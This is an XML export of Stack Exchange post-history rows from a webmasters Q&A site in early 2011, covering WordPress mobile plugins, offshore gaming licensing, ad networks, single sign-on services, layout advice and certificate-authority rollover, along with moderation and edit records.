  <row Id="14614" PostHistoryTypeId="2" PostId="7255" RevisionGUID="40386b04-fee3-4274-9c57-c0092519ef2b" CreationDate="2011-01-01T18:52:04.467" UserId="4213" Text="First of all, Happy New Year!&#xD;&#xA;&#xD;&#xA;I am thinking about making my blog accessible and enjoyable on mobile devices (as many handsets as possible). I am using Wordpress 3.0.4.&#xD;&#xA;&#xD;&#xA;What I've found is couple of cool plugins like WPTouch (for touch enabled devices), The Wordpress Mobile Edition and the Wordpress Mobile Pack.&#xD;&#xA;&#xD;&#xA;I am wondering which one is the best to use if I can use only one. If I can use more or (even all these three) are they compatible?&#xD;&#xA;&#xD;&#xA;Does anyone have any experiences in this topic? If so I would much appreciate some advices or best practice links.&#xD;&#xA;&#xD;&#xA;Happy 2011, thanks in advance, Rob" />
  <row Id="14615" PostHistoryTypeId="1" PostId="7255" RevisionGUID="40386b04-fee3-4274-9c57-c0092519ef2b" CreationDate="2011-01-01T18:52:04.467" UserId="4213" Text="Wordpress Mobile Edition, Wordpress Mobile Pack, WPTouch - Which one and how?" />
  <row Id="14616" PostHistoryTypeId="3" PostId="7255" RevisionGUID="40386b04-fee3-4274-9c57-c0092519ef2b" CreationDate="2011-01-01T18:52:04.467" UserId="4213" Text="&lt;wordpress&gt;" />
  <row Id="14617" PostHistoryTypeId="2" PostId="7256" RevisionGUID="b032e206-2e1b-4e4a-8bcd-18350e2fcbe4" CreationDate="2011-01-01T19:23:27.023" UserId="4214" Text="It's an extraordinarily thorny situation, trying to set up what you're talking about. The reason so many gaming sites abroad shut down in recent years, as suggested, had to do with their reliance on US customers. In that sense, the US *did* &quot;export its (ahem) morals&quot;. Morals, lest we forget, are the US's stock in trade -- its most important export after guns, bombs, military aircraft and fast food.&#xD;&#xA;&#xD;&#xA;Leaving that aside, though, there is a basic lack of infrastructure (not to mention trust) in most of the places that do allow so-called unlicensed online casinos at this point. If you're in business to make money at it, and this is what you want to do, it's best to regard all national jurisdictions as their own mafias. Each runs its own lotteries and casinos (the US included), and each can and will demolish you if you try to run a game of chance on their street corner without kicking a big chunk of your revenues up to the bosses. This is just the way it is. There's no terra incognita at this point. Short of invading a country and deposing its leaders, you're unlikely to be able to set something like this up without kissing a lot of a** and paying off a lot of corrupt (or &quot;morally upstanding&quot;) patriots, wherever you go. &#xD;&#xA;Lots of jurisdictions offer licensing -- quite expensive -- after which you can legally host your site in their country. Do NOT use any host or licensor you find on Google offering supposed turn-key solutions to this problem. They will take your money and run. Slogold, etc. Ignore it; it's not real.&#xD;&#xA;&#xD;&#xA;The point of licensing, so-called, is three-fold: 1. To legally incorporate in some jurisdiction where you can host, 2. To therefore be a legitimate corp in the eyes of merchant processors who will not take credit cards or other types of payments on your behalf if you're not legal somewhere, 3. To convince your users that you're not just going to take their money and run.&#xD;&#xA;&#xD;&#xA;The prices vary wildly. For around $15,000 / year you can have your site audited, become incorporated and licensed in Curacao, and host your site there. Unfortunately, you'll be hard pressed to find a line over 512 kbps in or out of the island. Costa Rica requires only incorporation, which is cheap, but presents similar bandwidth issues and carries a stigma of zero licensing. Also, most Costa Rican IPs are blacklisted around the world due to a decade or so of heavy abuse. Malta, Gibraltar, the Isle of Man and the Kahnawake reservation are some of the top-notch jurisdictions where fast hosting and decent licensing is available...at a heavy price. Major taxes and starting fees apply.&#xD;&#xA;&#xD;&#xA;Put it another way, if you have $500,000 to spend, and applied it wisely, you could probably get a small US state to pass an intrastate online gaming law and give you a lottery license. Crooks, all of them; and they have the gall to claim moral rectitude. Lol.&#xD;&#xA;&#xD;&#xA;Good luck, you'll need it; keep poking around though, you might find a loophole somewhere. That's how all the successful ones got started." />
  <row Id="14618" PostHistoryTypeId="2" PostId="7257" RevisionGUID="cfbcd6af-8e1b-4d21-a302-c99945b2bdd0" CreationDate="2011-01-01T19:44:51.170" UserId="568" Text="Are you looking for CPC, CPM or CPA ads? Text? Banner? In-line text?&#xD;&#xA;&#xD;&#xA;Here are some CPC networks to start with: &#xD;&#xA;&#xD;&#xA;- [Microsoft AdCenter][1] for Yahoo / Bing ads (typically a higher CTR is seen on Yahoo)&#xD;&#xA;- [Bidvertiser][2]&#xD;&#xA;- [Click Booth][3] (also does CPA)&#xD;&#xA;- [FaceBook ads][4] (higher CTR rate than Google, &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adcenter.microsoft.com/&#xD;&#xA;  [2]: http://www.bidvertiser.com/&#xD;&#xA;  [3]: http://www.clickbooth.com/&#xD;&#xA;  [4]: http://www.facebook.com/FacebookAds" />
  <row Id="14619" PostHistoryTypeId="2" PostId="7258" RevisionGUID="283969bd-fce9-4404-84a6-f52f1031da88" CreationDate="2011-01-01T20:02:01.373" UserId="4197" Text="How can i disable wp-pagenavi on pages using templates and the wordpress loop? It seems that wp-pagenavi adds itself automatically wherever the&#xD;&#xA;wordpress loop is used, not counting that it is a page or not. " />
  <row Id="14620" PostHistoryTypeId="1" PostId="7258" RevisionGUID="283969bd-fce9-4404-84a6-f52f1031da88" CreationDate="2011-01-01T20:02:01.373" UserId="4197" Text="disable wp-pagenavi on pages with template using the wordpress loop " />
  <row Id="14621" PostHistoryTypeId="3" PostId="7258" RevisionGUID="283969bd-fce9-4404-84a6-f52f1031da88" CreationDate="2011-01-01T20:02:01.373" UserId="4197" Text="&lt;wordpress&gt;" />
  <row Id="14622" PostHistoryTypeId="2" PostId="7259" RevisionGUID="9745f499-6ed1-4de2-84af-9189372e2766" CreationDate="2011-01-01T16:53:01.700" UserDisplayName="dino beytar" Text="I am currently trying to find **good resources** (such as blogs, books, etc.) about ecommerce and let say bussiness intellegence. So hat is the best books and other resources to help for improving my online shop?&#xD;&#xA; " />
  <row Id="14623" PostHistoryTypeId="1" PostId="7259" RevisionGUID="9745f499-6ed1-4de2-84af-9189372e2766" CreationDate="2011-01-01T16:53:01.700" UserDisplayName="dino beytar" Text="Good resources of online shops" />
  <row Id="14624" PostHistoryTypeId="3" PostId="7259" RevisionGUID="9745f499-6ed1-4de2-84af-9189372e2766" CreationDate="2011-01-01T16:53:01.700" UserDisplayName="dino beytar" Text="&lt;books&gt;&lt;ecommerce&gt;&lt;blog&gt;" />
  <row Id="14625" PostHistoryTypeId="17" PostId="7259" RevisionGUID="9534a0f2-3d30-4884-a0be-6dc1eee3aed0" CreationDate="2011-01-01T20:46:10.787" UserId="-1" Comment="from http://stackoverflow.com/questions/4574786/good-resources-of-online-shops" Text="" />
  <row Id="14626" PostHistoryTypeId="2" PostId="7260" RevisionGUID="8bcdd55b-6941-49e1-8a41-19041ca6ac35" CreationDate="2011-01-01T21:15:19.293" UserId="3707" Text="WPTouch seems like the most reliable one, since many use it. Also some big blogs like TechCruch use is this.&#xD;&#xA;&#xD;&#xA;Wptouch is reliable and compatible with a lot of devices.&#xD;&#xA;&#xD;&#xA;My 2 cents." />
  <row Id="14627" PostHistoryTypeId="2" PostId="7261" RevisionGUID="e7adb887-c4e9-4341-a4b6-ba2efc9a52d7" CreationDate="2011-01-01T21:17:22.363" UserId="3707" Text="So you are looking for Adsene alternatives right?&#xD;&#xA;&#xD;&#xA;there are aruond 20 alternatives. Yahoo, Kontera, Bidvertiser etc....&#xD;&#xA;&#xD;&#xA;I'm not affiliated but this site might be useful.&#xD;&#xA;&#xD;&#xA; http://www.adsensealternatives.org/" />
  <row Id="14628" PostHistoryTypeId="2" PostId="7262" RevisionGUID="f9ffe906-cd96-4cfe-a1a5-1cc5efc2c4da" CreationDate="2011-01-01T21:20:38.833" UserId="3707" Text="You can't do %tags% in wordpress, you will get error.&#xD;&#xA;&#xD;&#xA;here is a excerpt from the codex.&#xD;&#xA;&#xD;&#xA;    %tag% &#xD;&#xA;    Starting Permalinks with %tag% is strongly not recommended for performance reasons&#xD;&#xA;&#xD;&#xA;read more here http://codex.wordpress.org/Using_Permalinks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14629" PostHistoryTypeId="2" PostId="7263" RevisionGUID="5bc9e3e8-fd67-4cf0-bce3-07ac9f6b930b" CreationDate="2011-01-01T22:47:29.177" UserId="4216" Text="Can anyone recommend a service which we can use to handle user registration on a website.&#xD;&#xA;&#xD;&#xA;I know of services like Wufoo, but they just offer forms.&#xD;&#xA;What we are looking for is a service which we can embed which has all the features like user signup, password recovery, etc." />
  <row Id="14630" PostHistoryTypeId="1" PostId="7263" RevisionGUID="5bc9e3e8-fd67-4cf0-bce3-07ac9f6b930b" CreationDate="2011-01-01T22:47:29.177" UserId="4216" Text="SAAS for user registration on web site" />
  <row Id="14631" PostHistoryTypeId="3" PostId="7263" RevisionGUID="5bc9e3e8-fd67-4cf0-bce3-07ac9f6b930b" CreationDate="2011-01-01T22:47:29.177" UserId="4216" Text="&lt;registration&gt;&lt;saas&gt;&lt;web-services&gt;" />
  <row Id="14632" PostHistoryTypeId="2" PostId="7264" RevisionGUID="b6385d3d-b23b-4e4c-abc1-d71b1ab233d7" CreationDate="2011-01-01T21:58:56.863" UserDisplayName="Navarr" Text="My Step Father is starting his own company, and he gets the wonderful life of having to deal with multiple clients.&#xD;&#xA;&#xD;&#xA;He needs a calendar system that can do the following:&#xD;&#xA;&#xD;&#xA; - Can be updated from iCal (I'm pretty sure this just means CalDAV support)&#xD;&#xA; - Needs to be able to show different clients the details of whats on his calendar for them, while showing other client's arranged times as only busy&#xD;&#xA; - Wants to show it in a professional way, preferably on his own website.&#xD;&#xA;&#xD;&#xA;I was looking at Google Calendar, but alas it doesn't seem to actually support it like I thought it would.  He was looking at MobileMe, but its simply public.&#xD;&#xA;&#xD;&#xA;Is there a calendar app or PHP application that can be installed on his server that can do this?" />
  <row Id="14633" PostHistoryTypeId="1" PostId="7264" RevisionGUID="b6385d3d-b23b-4e4c-abc1-d71b1ab233d7" CreationDate="2011-01-01T21:58:56.863" UserDisplayName="Navarr" Text="Searching for a Calendar Application That Meets the Following Criteria" />
  <row Id="14634" PostHistoryTypeId="3" PostId="7264" RevisionGUID="b6385d3d-b23b-4e4c-abc1-d71b1ab233d7" CreationDate="2011-01-01T21:58:56.863" UserDisplayName="Navarr" Text="&lt;calendar&gt;" />
  <row Id="14635" PostHistoryTypeId="17" PostId="7264" RevisionGUID="dcfeea08-8ffc-4841-a391-b684c40825db" CreationDate="2011-01-01T23:15:06.480" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10875/searching-for-a-calendar-application-that-meets-the-following-criteria" Text="" />
  <row Id="14636" PostHistoryTypeId="2" PostId="7265" RevisionGUID="d45afaf6-805f-457e-bc0e-7ba39d57d27c" CreationDate="2011-01-01T23:28:40.860" UserId="4204" Text="Google Calendar seems to be your best choice. What doesn't it support?" />
  <row Id="14637" PostHistoryTypeId="10" PostId="7248" RevisionGUID="bb84f12f-8529-400d-8aff-de26db44ec94" CreationDate="2011-01-02T00:02:11.690" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14638" PostHistoryTypeId="5" PostId="7248" RevisionGUID="beebcc34-f684-4f02-9a7d-737f3b69f984" CreationDate="2011-01-02T00:02:11.847" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Google Keyword Relevancy](http://webmasters.stackexchange.com/questions/6805/google-keyword-relevancy)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi i have a webshop at http://tanpagalon.co.cc. what can i do to make the website be found at google with specific keywords? such as: pureit or water purifier. thanks a lot." />
  <row Id="14639" PostHistoryTypeId="16" PostId="7259" RevisionGUID="0c9d2db7-f0a1-4468-8285-e492bc636fd4" CreationDate="2011-01-02T00:05:30.530" UserId="1253" />
  <row Id="14640" PostHistoryTypeId="6" PostId="7259" RevisionGUID="0c9d2db7-f0a1-4468-8285-e492bc636fd4" CreationDate="2011-01-02T00:05:30.530" UserId="1253" Comment="made community wiki" Text="&lt;ecommerce&gt;&lt;books&gt;&lt;blog&gt;" />
  <row Id="14641" PostHistoryTypeId="5" PostId="7259" RevisionGUID="98d766cc-9738-4e3f-ba12-b89f65adc506" CreationDate="2011-01-02T00:49:45.390" UserId="1757" Comment="grammar and wording" Text="I am currently trying to find good learning resources (such as blogs, books, etc.) about ecommerce and, lets say, business intelligence. So what are the best books and other resources to help improve my online shop?&#xD;&#xA; " />
  <row Id="14642" PostHistoryTypeId="4" PostId="7259" RevisionGUID="98d766cc-9738-4e3f-ba12-b89f65adc506" CreationDate="2011-01-02T00:49:45.390" UserId="1757" Comment="grammar and wording" Text="Good educational resources for online shops" />
  <row Id="14643" PostHistoryTypeId="2" PostId="7266" RevisionGUID="2ced5d4e-3592-4e45-99da-c494d9efc9a2" CreationDate="2011-01-02T01:20:59.467" UserId="4219" Text="I like using [BackLink Watch][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/dFSfnU" />
  <row Id="14644" PostHistoryTypeId="2" PostId="7267" RevisionGUID="ad96864f-3f5e-4c93-9541-f413642f54fd" CreationDate="2011-01-02T01:25:50.120" UserId="4219" Text="I use it for http://luciebot.com/  It's been quite stable and handles lots of concurrent requests quickly." />
  <row Id="14645" PostHistoryTypeId="2" PostId="7268" RevisionGUID="614d59d3-0de0-4592-bd38-75bde2182099" CreationDate="2011-01-02T01:26:41.687" UserId="1218" Text="Facebook Connect and Twitter offer 2 simple choices for implementing these features without having to build your own user registration system. &#xD;&#xA;&#xD;&#xA;OpenID is another option, allowing people to sign in with an account that is based on OpenID (such as their Google account). However, the concept of OpenID is very confusing for non-technical users. " />
  <row Id="14646" PostHistoryTypeId="2" PostId="7269" RevisionGUID="cd7f8db0-82a9-4548-a1ce-119e83a59ad2" CreationDate="2011-01-02T02:09:03.233" UserId="1757" Text="Single Sign-On solutions are probably your best bet. The following are all OpenID providers (though some services, like Janrain, PingIdentity, onelogin, etc. support multiple protocols, and Facebook Connect also has its own API):&#xD;&#xA;&#xD;&#xA; - Janrain&#xD;&#xA; - myOpenID&#xD;&#xA; - Google&#xD;&#xA; - myOneLogin&#xD;&#xA; - PingIdentity&#xD;&#xA; - onelogin&#xD;&#xA; - Facebook Connect&#xD;&#xA;&#xD;&#xA;Janrain is probably the most comprehensive service, followed by PingIdentity and onelogin. All 3 offer turnkey solutions for enterprise businesses. With Google and Facebook Connect, it's more of a *integrate yourself* solution for developers.&#xD;&#xA;&#xD;&#xA;There are also these alternative SSO providers using different protocols:&#xD;&#xA;&#xD;&#xA; - CoSign&#xD;&#xA; - Pubcookie&#xD;&#xA; - WebAuth&#xD;&#xA; - OpenAthens (for government and educational institutions only, I think)&#xD;&#xA;&#xD;&#xA;But most of these will probably be harder to implement. " />
  <row Id="14647" PostHistoryTypeId="2" PostId="7270" RevisionGUID="95aee5be-89b4-4334-b922-641126f8faf0" CreationDate="2011-01-02T02:36:58.283" UserId="3662" Text="I'm wondering if there is any information about creating a decent page layout so that your website will appeal to users of all resolutions. &#xD;&#xA;&#xD;&#xA;For example, the optimal width for pages. It seems like on my resolution, most websites have their content centered and covers about 80% of the page, which is easy on the eyes.&#xD;&#xA;&#xD;&#xA;Or maybe the height of the website's logo/header -- some sites I stumble upon have a huge logo with links or navigation under it, making it so that I need to scroll down to see the actual content, like articles or images (these sites don't keep me for very long).&#xD;&#xA;&#xD;&#xA;I understand that every user is different and may have browser extensions, page zoom or may be running some ancient system that displays in 640x480. I'm not looking for a &quot;best&quot; solution, but rather, some guidelines about designing to accommodate different resolutions.&#xD;&#xA;&#xD;&#xA;Basically, how can I make sure that I don't design a page where a paragraph might display in several easy-to-read lines on my resolution, but it turns into a single line on a 1920x1080 resolution and makes it hard for the user to follow?" />
  <row Id="14648" PostHistoryTypeId="1" PostId="7270" RevisionGUID="95aee5be-89b4-4334-b922-641126f8faf0" CreationDate="2011-01-02T02:36:58.283" UserId="3662" Text="Are there any guidelines for laying out screen &quot;real estate?&quot;" />
  <row Id="14649" PostHistoryTypeId="3" PostId="7270" RevisionGUID="95aee5be-89b4-4334-b922-641126f8faf0" CreationDate="2011-01-02T02:36:58.283" UserId="3662" Text="&lt;website-design&gt;" />
  <row Id="14650" PostHistoryTypeId="2" PostId="7271" RevisionGUID="e93dcad1-ae9e-411f-90a8-1ffa5eb09a65" CreationDate="2011-01-02T03:29:17.290" UserId="4221" Text="[Smashing Magazine](http://www.smashingmagazine.com/2009/06/02/fixed-vs-fluid-vs-elastic-layout-whats-the-right-one-for-you/) has a discussion on the pros/cons of layout styles. &#xD;&#xA;&#xD;&#xA;I tend to pick a fixed width that fits a large majority of resolutions and then go from there. You've already mentioned this, but I always make sure I try different font sizes when looking at how a layout looks in horizontal/vertical resolution. I'll also give it a try in an Android and iOS browser just to see if there are any major issues. You can use the max-width CSS property (and the associated IE-specific hacks) to help prevent long lines.&#xD;&#xA;&#xD;&#xA;Google Labs has a [neat overlay](http://browsersize.googlelabs.com/) that shows various resolutions and the percentage of web browsers that have the given resolution. The [about page](http://browsersize.googlelabs.com/static/about-browser-size.html) has a bit more information on how they collected the data. It's also available as a [Google Chrome plugin](http://www.googlelabs.com/show_details?app_key=agtnbGFiczIwLXd3d3IVCxIMTGFic0FwcE1vZGVsGPv7gAEM). I would imagine there are  similar plugins for other browsers." />
  <row Id="14651" PostHistoryTypeId="2" PostId="7272" RevisionGUID="2523abad-710a-4b44-82ee-9a72762c22ae" CreationDate="2011-01-02T05:51:55.500" UserId="1757" Text="Kendrick and the Smashing article he links to covers most of the bases, but I just want to add that you can't create a single layout that's suited to all possible resolutions, and it's probably not worth the trouble to even try.&#xD;&#xA;&#xD;&#xA;Virtually no one these days is using a 640x480 desktop or laptop resolution. Even netbooks have higher resolutions than that. So unless you want to create a single layout for both desktop and mobile users (a bad idea 99% of the time), there's no point in trying to support such a low resolution. Your time would be better spent making sure the site works in text-only browsers and with screen readers." />
  <row Id="14655" PostHistoryTypeId="2" PostId="7274" RevisionGUID="9d9981be-5af6-4b29-ab27-c17a5da6bdab" CreationDate="2011-01-02T10:08:10.697" UserId="3309" Text="Suppose I'm buying ads for keyword x and suddenly x becomes the biggest thing in the world. Will my budget run down faster? Will the price stay at the same rate I purchased that keyword on or will change with the popularity?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="14656" PostHistoryTypeId="1" PostId="7274" RevisionGUID="9d9981be-5af6-4b29-ab27-c17a5da6bdab" CreationDate="2011-01-02T10:08:10.697" UserId="3309" Text="Peaking keywords on Google AdWords" />
  <row Id="14657" PostHistoryTypeId="3" PostId="7274" RevisionGUID="9d9981be-5af6-4b29-ab27-c17a5da6bdab" CreationDate="2011-01-02T10:08:10.697" UserId="3309" Text="&lt;seo&gt;&lt;google-adsense&gt;" />
  <row Id="14658" PostHistoryTypeId="2" PostId="7275" RevisionGUID="a097de83-06bd-4c49-9b37-b0ba5ec5b233" CreationDate="2011-01-02T10:46:16.363" UserId="4226" Text="...or maybe a combination of both? " />
  <row Id="14659" PostHistoryTypeId="1" PostId="7275" RevisionGUID="a097de83-06bd-4c49-9b37-b0ba5ec5b233" CreationDate="2011-01-02T10:46:16.363" UserId="4226" Text="Do you write HTML by hand or do you use a WYSIWYG editor?" />
  <row Id="14660" PostHistoryTypeId="3" PostId="7275" RevisionGUID="a097de83-06bd-4c49-9b37-b0ba5ec5b233" CreationDate="2011-01-02T10:46:16.363" UserId="4226" Text="&lt;html&gt;" />
  <row Id="14661" PostHistoryTypeId="2" PostId="7277" RevisionGUID="2bcd276b-4154-413e-bca7-a79b77cfc425" CreationDate="2011-01-02T11:48:39.320" UserDisplayName="Jani" Text="* Design and Style(look and feel)&#xD;&#xA;* Ease of Use, Simplicity&#xD;&#xA;* Easy to find what you're looking for&#xD;&#xA;* Easy Navigation&#xD;&#xA;* Performance&#xD;&#xA;* Being Dynamic&#xD;&#xA;* Innovation " />
  <row Id="14662" PostHistoryTypeId="2" PostId="7278" RevisionGUID="0429b1cb-d7e0-4ced-a567-43e1f8d08b2c" CreationDate="2011-01-02T11:55:20.003" UserId="3992" Text="&#xD;&#xA;* Focus on making it *simple* and *clear* for users to do what you want them to do on the website. &#xD;&#xA;* Fun would be an added bonus. &#xD;&#xA;* Avoid a registration process like the plague" />
  <row Id="14663" PostHistoryTypeId="2" PostId="7276" RevisionGUID="96f49171-d7d6-4a5f-90bb-12ea9320b14c" CreationDate="2011-01-02T11:36:02.960" UserDisplayName="SOF User" Text="When designing a website that is targetting large number of consummers, what design tips would you give any designer to make the website popular and memorable amongst its users?" />
  <row Id="14664" PostHistoryTypeId="1" PostId="7276" RevisionGUID="96f49171-d7d6-4a5f-90bb-12ea9320b14c" CreationDate="2011-01-02T11:36:02.960" UserDisplayName="SOF User" Text="what design tips would you give any designer to make the website popular and memorable amongst its users?" />
  <row Id="14665" PostHistoryTypeId="3" PostId="7276" RevisionGUID="96f49171-d7d6-4a5f-90bb-12ea9320b14c" CreationDate="2011-01-02T11:36:02.960" UserDisplayName="SOF User" Text="&lt;web-design&gt;" />
  <row Id="14666" PostHistoryTypeId="17" PostId="7276" RevisionGUID="89972147-0bf5-4b91-b39d-ee6cc05f2b25" CreationDate="2011-01-02T11:55:55.303" UserId="-1" Comment="from http://stackoverflow.com/questions/4578194/what-design-tips-would-you-give-any-designer-to-make-the-website-popular-and-memo" Text="" />
  <row Id="14667" PostHistoryTypeId="2" PostId="7279" RevisionGUID="4ac0ae18-8776-46dd-ac4f-b52125563148" CreationDate="2011-01-02T12:17:11.587" UserId="4227" Text="How extensively have you embraced Web 2.0 trends in your designs? Include top examples of such user contributed websites." />
  <row Id="14668" PostHistoryTypeId="1" PostId="7279" RevisionGUID="4ac0ae18-8776-46dd-ac4f-b52125563148" CreationDate="2011-01-02T12:17:11.587" UserId="4227" Text="How extensively have you embraced Web 2.0 trends in your designs? " />
  <row Id="14669" PostHistoryTypeId="3" PostId="7279" RevisionGUID="4ac0ae18-8776-46dd-ac4f-b52125563148" CreationDate="2011-01-02T12:17:11.587" UserId="4227" Text="&lt;website-design&gt;" />
  <row Id="14670" PostHistoryTypeId="2" PostId="7280" RevisionGUID="93d35563-2290-4e3b-aa54-9005a940b2ac" CreationDate="2011-01-02T13:28:00.977" UserId="4228" Text="Some buddies and me banded together to rent a small server to use for email, web-hosting and jabber. Early on we decided to generate our own Certificate Authority(CA) and sign all our certificates with that CA. It worked great!&#xD;&#xA;However, the original CA-cert is nearing it's end-of-life (it expires in five months). Obviously, we will have to generate a new cert and install it on all our computers. Are there any best practices we should follow? We have to re-generate all certs and sign them with the new CA, right?" />
  <row Id="14671" PostHistoryTypeId="1" PostId="7280" RevisionGUID="93d35563-2290-4e3b-aa54-9005a940b2ac" CreationDate="2011-01-02T13:28:00.977" UserId="4228" Text="My self-generated CA is nearing it's end-of-life; what are the best practices for CA-rollover?" />
  <row Id="14672" PostHistoryTypeId="3" PostId="7280" RevisionGUID="93d35563-2290-4e3b-aa54-9005a940b2ac" CreationDate="2011-01-02T13:28:00.977" UserId="4228" Text="&lt;security&gt;&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="14673" PostHistoryTypeId="10" PostId="7279" RevisionGUID="4c6a3555-00f1-4a8b-9095-bee471592e67" CreationDate="2011-01-02T15:04:45.273" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14674" PostHistoryTypeId="10" PostId="7276" RevisionGUID="aee8b4bb-d6ff-4b78-b1fc-460063cd3002" CreationDate="2011-01-02T15:05:08.750" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14676" PostHistoryTypeId="11" PostId="7276" RevisionGUID="9a7fa5cf-0821-4501-859b-e26f988135f6" CreationDate="2011-01-02T15:05:24.070" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14677" PostHistoryTypeId="10" PostId="7275" RevisionGUID="7705327a-8e98-459c-a1f7-8a8f4aa78ff1" CreationDate="2011-01-02T15:05:39.657" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14681" PostHistoryTypeId="2" PostId="7282" RevisionGUID="e8081bc1-444f-491d-8e33-34b2fa57e00f" CreationDate="2011-01-02T15:09:40.713" UserId="1253" Text="As more people bid on an phrase the higher the cost of the phrase will be. So, yes, if that phrase becomes very popular your budget will run down faster as you can expect more bidders to enter that market." />
  <row Id="14682" PostHistoryTypeId="2" PostId="7283" RevisionGUID="2a8cf859-1467-4f8b-baf0-b998dde9eb17" CreationDate="2011-01-02T18:40:12.990" UserId="1757" Text="*Content* is what makes a website popular and memorable, not the design.&#xD;&#xA;&#xD;&#xA;If you want the *design* to be &quot;memorable&quot;, then just create an original and distinctive design. It's not hard to make a design that stands out (e.g. use clashing colors and design it in MS paint or put a giant animated background of Eddie Murphy's face along with a loud BG audio loop). What's hard is making a *good* design that stands out. That's a talent that great designers get paid a lot of money for having. As there's no magic formula that works every time, you're not likely to find a list of tips that can help you achieve this objective.&#xD;&#xA;&#xD;&#xA;However, there are lots of tips that can help you *not* create a *bad* design. And if you follow those rules, you'll at the very least not end up with a hideous and unpopular design. Or better yet, learn the basic principles of design, and you'll be able to extrapolate the rules yourself (or they'll just come intuitively after a while).&#xD;&#xA;&#xD;&#xA;Start with:&#xD;&#xA;&#xD;&#xA; - color theory&#xD;&#xA; - composition&#xD;&#xA;  - balance&#xD;&#xA;  - white space/negative space&#xD;&#xA;  - proportions&#xD;&#xA; - typography&#xD;&#xA; - information architecture&#xD;&#xA;  - proximity/grouping&#xD;&#xA;  - visual hierarchy&#xD;&#xA; - alignment/consistency&#xD;&#xA; - repetition&#xD;&#xA; - contrast&#xD;&#xA; - brand/identity" />
  <row Id="14683" PostHistoryTypeId="5" PostId="7283" RevisionGUID="8eba5d0c-2b64-49f3-a2c6-abc6ea431057" CreationDate="2011-01-02T19:22:32.907" UserId="1757" Comment="added 516 characters in body" Text="*Content* is what makes a website popular and memorable, not the design.&#xD;&#xA;&#xD;&#xA;If you want the *design* to be &quot;memorable&quot;, then just create an original and distinctive design. It's not hard to make a design that stands out (e.g. use loud colors, an animated background, and an annoying audio loop). What's hard is making a *good* design that stands out. That's a talent that great designers get paid a lot of money for having. As there's no magic formula that works every time, you're not likely to find a list of tips that can help you achieve this objective.&#xD;&#xA;&#xD;&#xA;However, there are lots of tips that can help you *not* create a *bad* design. And if you follow those rules, you'll at the very least not end up with a hideous and unpopular design. Or better yet, learn the basic principles of design, and you'll be able to extrapolate the rules yourself (or they'll just come intuitively after a while).&#xD;&#xA;&#xD;&#xA;Start with:&#xD;&#xA;&#xD;&#xA; - color theory&#xD;&#xA; - composition&#xD;&#xA;  - balance&#xD;&#xA;  - white space/negative space&#xD;&#xA;  - proportions&#xD;&#xA; - typography&#xD;&#xA; - information architecture&#xD;&#xA;  - proximity/grouping&#xD;&#xA;  - visual hierarchy&#xD;&#xA; - alignment/consistency&#xD;&#xA; - repetition&#xD;&#xA; - contrast&#xD;&#xA; - brand/identity&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;This is something that designers spend their entire careers cultivating (as with most skills, it all boils down to practice &amp; dedication), but these 2 articles are a good crash course on avoiding poor typography:&#xD;&#xA;&#xD;&#xA; - [“What Font Should I Use?”: Five Principles for Choosing and Using Typefaces][1]&#xD;&#xA; - [Best Practices of Combining Typefaces][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/12/14/what-font-should-i-use-five-principles-for-choosing-and-using-typefaces/&#xD;&#xA;  [2]: http://www.smashingmagazine.com/2010/11/04/best-practices-of-combining-typefaces/" />
  <row Id="14684" PostHistoryTypeId="2" PostId="7284" RevisionGUID="fbc91265-4a48-41ac-969b-4890747587f2" CreationDate="2011-01-02T23:54:08.863" UserId="3707" Text="you probably have `wp_pagenavi()` in the footer.php file.&#xD;&#xA;&#xD;&#xA;if you don't want it to appear in the page.php you can do this.&#xD;&#xA;&#xD;&#xA;    &lt;?php if(!is_page()) { ?&gt;&#xD;&#xA;    &#xD;&#xA;    // if it is not a page echo the page navigation&#xD;&#xA;&#xD;&#xA;    &lt;?php wp_pagenavi(); ?&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;?php } else { ?&gt;&#xD;&#xA;    &#xD;&#xA;    // if it is a page do nothing or you can specify.&#xD;&#xA;    &#xD;&#xA;    &lt;?php  } ?&gt;&#xD;&#xA;&#xD;&#xA;but i'm not quite sure of what you mean by page template. if i'm wrong give me the details on that.&#xD;&#xA;&#xD;&#xA;good luck" />
  <row Id="14692" PostHistoryTypeId="2" PostId="7286" RevisionGUID="f2ada3df-3111-486c-8a66-072566d889a0" CreationDate="2011-01-03T06:11:59.323" UserDisplayName="Kindle 3 Reviews" Text="I would agree with danlefree, although it might also be advisable to rank the keywords this way, i.e. point #4:&#xD;&#xA;&#xD;&#xA;Kws that your top organic competitors used in their meta list - upon checking that their visitors can actually find them in the corresponding top ten positions for those kws.&#xD;&#xA;&#xD;&#xA;That way your research covers niches, big traffic, PPC competitors (as covered by danlefree) and your organic search competitors - mainly their proven ideas/research actually.&#xD;&#xA;&#xD;&#xA;For the latter, you should create totally unique ad versions to compete with the clever titles and meta descriptions of at least the top 3 organics." />
